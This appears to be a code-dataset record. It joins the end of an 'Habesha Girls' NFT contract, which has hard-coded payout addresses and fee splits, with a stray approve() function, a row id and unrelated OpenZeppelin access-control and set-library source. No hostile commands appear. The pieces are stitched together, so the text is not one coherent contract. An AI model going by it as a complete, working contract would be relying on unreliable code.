public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether tokenId exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (_mint),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _ownerships[tokenId].addr != address(0);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(tokenId > 1, "ERC721: can't mint token id 1 and 0");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfers(address(0), to, tokenId);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + 1,
addressData.numberMinted + 1
);
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
emit Transfer(address(0), to, tokenId);
mintedTokenNumbers = mintedTokenNumbers + 1;
_afterTokenTransfers(address(0), to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, ""),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Transfers tokenId from from to to.
*
* Requirements:
*
* - to cannot be the zero address.
* - tokenId token must be owned by from.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfers(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract AknetAble {
address public AKNETADDRESS = 0x0E1b37113B68202FB8e3437Aa113dcf035afBDb1;
modifier isAKNET() {
require(msg.sender == AKNETADDRESS, "Ownable: caller is not AKNET");
_;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
}
abstract contract Withdrawable is Ownable, AknetAble {
address public ArtistADDRESS = 0x12620ABBa9435e21A6a9a6fAE8be66E3ba01f3c2;
address[] public payableAddresses = [AKNETADDRESS, 0xDc5DAa30A65e882Aeb2b23c6c54c5A4F81f94D9a, ArtistADDRESS];
uint256[] public payableFees = [9,9,82];
uint256 public payableAddressCount = 3;
function withdrawAll() public onlyOwner {
require(address(this).balance > 0);
_withdrawAll();
}
function withdrawAllAknet() public isAKNET {
require(address(this).balance > 0);
_withdrawAll();
}
function _withdrawAll() private {
uint256 balance = address(this).balance;
for(uint i=0; i < payableAddressCount; i++ ) {
_widthdraw(
payableAddresses[i],
(balance * payableFees[i]) / 100
);
}
}
function _widthdraw(address _address, uint256 _amount) private {
(bool success, ) = _address.call{value: _amount}("");
require(success, "Transfer failed.");
}
/**
* @dev Allow contract owner to withdraw ERC-20 balance from contract
* while still splitting royalty payments to all other team members.
* in the event ERC-20 tokens are paid to the contract.
* @param _tokenContract contract of ERC-20 token to withdraw
* @param _amount balance to withdraw according to balanceOf of ERC-20 token
*/
function withdrawAllERC20(address _tokenContract, uint256 _amount) public onlyOwner {
require(_amount > 0);
IERC20 tokenContract = IERC20(_tokenContract);
require(tokenContract.balanceOf(address(this)) >= _amount, 'Contract does not own enough tokens');
for(uint i=0; i < payableAddressCount; i++ ) {
tokenContract.transfer(payableAddresses[i], (_amount * payableFees[i]) / 100);
}
}
}
abstract contract AknetERC721A is
Ownable,
ERC721A,
Withdrawable,
ReentrancyGuard {
constructor(
string memory tokenName,
string memory tokenSymbol
) ERC721A(tokenName, tokenSymbol, 1000 ) {}
using SafeMath for uint256;
uint8 public CONTRACT_VERSION = 1;
string public _baseTokenURI = "ipfs://QmdWuZ4VCngnkmSpAUeXcxm8ryFvF1Yz5jtaDMTGXbV5zA/";
bool public mintingOpen = true;
uint256 public mintingFee = 0.1 ether;
/////////////// Admin Mint Functions
/**
* @dev Mints a token to an address with a tokenURI.
* This is owner only and allows a fee-free drop
* @param _to address of the future owner of the token
*/
function mintToAdmin(address _to, uint256 tokenId) public onlyOwner {
require(tokenId <= collectionSize, "Cannot mint over supply cap");
_mint(_to, tokenId);
}
/////////////// GENERIC MINT FUNCTIONS
/**
* @dev Mints a single token to an address.
* fee may or may not be required*
* @param _to address of the future owner of the token
*/
function mintNft(address _to, uint256 tokenId) public payable {
require(tokenId <= collectionSize, "Cannot mint over supply cap");
require(mintingOpen == true, "Minting is not open right now!");
require(msg.value >= mintingFee, "Value needs to be equal or higher the mint fee!");
_mint(_to, tokenId);
}
function openMinting() public onlyOwner {
mintingOpen = true;
}
function stopMinting() public onlyOwner {
mintingOpen = false;
}
function updateMintingFee(uint256 _feeInWei) public onlyOwner {
mintingFee = _feeInWei;
}
function getPrice(uint256 _count) private view returns (uint256) {
return mintingFee.mul(_count);
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function baseTokenURI() public view returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string calldata baseURI) external onlyOwner {
_baseTokenURI = baseURI;
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) {
return ownershipOf(tokenId);
}
}
// File: contracts/HabeshaGirlsContract.sol
//SPDX-License-Identifier: MIT
contract HabeshaGirlsContract is AknetERC721A {
constructor() AknetERC721A("Habesha Girls", "HG"){}
function contractURI() public pure returns (string memory) {
return "https://gateway.pinata.cloud/ipfs/QmfXkZsYJiUruYFXC8La9thr3NJq7TLrjBySV6ujCtFKus";
}
}
//*********************************************************************//
//*********************************************************************//
//
//
// AAA KKKKKKKKK KKKKKKKNNNNNNNN NNNNNNNN EEEEEEEEEEEEEEEEEEEEEETTTTTTTTTTTTTTTTTTTTTTT
// A:::A K:::::::K K:::::KN:::::::N N::::::N E::::::::::::::::::::ET:::::::::::::::::::::T
// A:::::A K:::::::K K:::::KN::::::::N N::::::N E::::::::::::::::::::ET:::::::::::::::::::::T
// A:::::::A K:::::::K K::::::KN:::::::::N N::::::N EE::::::EEEEEEEEE::::ET:::::TT:::::::TT:::::T
// A:::::::::A KK::::::K K:::::KKKN::::::::::N N::::::N E:::::E EEEEEETTTTTT T:::::T TTTTTT
// A:::::A:::::A K:::::K K:::::K N:::::::::::N N::::::N E:::::E T:::::T
// A:::::A A:::::A K::::::K:::::K N:::::::N::::N N::::::N E::::::EEEEEEEEEE T:::::T
// A:::::A A:::::A K:::::::::::K N::::::N N::::N N::::::N E:::::::::::::::E T:::::T
// A:::::A A:::::A K:::::::::::K N::::::N N::::N:::::::N E:::::::::::::::E T:::::T
// A:::::AAAAAAAAA:::::A K::::::K:::::K N::::::N N:::::::::::N E::::::EEEEEEEEEE T:::::T
// A:::::::::::::::::::::A K:::::K K:::::K N::::::N N::::::::::N E:::::E T:::::T
// A:::::AAAAAAAAAAAAA:::::A KK::::::K K:::::KKKN::::::N N:::::::::N E:::::E EEEEEE T:::::T
// A:::::A A:::::A K:::::::K K::::::KN::::::N N::::::::N EE::::::EEEEEEEE:::::E TT:::::::TT
// A:::::A A:::::A K:::::::K K:::::KN::::::N N:::::::N ...... E::::::::::::::::::::E T:::::::::T
// A:::::A A:::::A K:::::::K K:::::KN::::::N N::::::N .::::. E::::::::::::::::::::E T:::::::::T
// AAAAAAA AAAAAAAKKKKKKKKK KKKKKKKNNNNNNNN NNNNNNN ...... EEEEEEEEEEEEEEEEEEEEEE TTTTTTTTTTT
//
//
// V1.0.0
//
// Habesha girls Nft smart contract was created
// with partnership with Akn.et
// Aknet allows you to launch large scale
// NFT projects!
//
//*********************************************************************//
//*********************************************************************//
|
See {IERC721-approve}./
|
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: The given address is not the owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
| 9,892,596 |
// SPDX-License-Identifier: MIXED
// File @openzeppelin/contracts/access/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// File @openzeppelin/contracts/access/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerable is IAccessControl {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// File @openzeppelin/contracts/utils/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/utils/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/access/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File @openzeppelin/contracts/utils/structs/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// File @openzeppelin/contracts/access/[email protected]
// License-Identifier: MIT
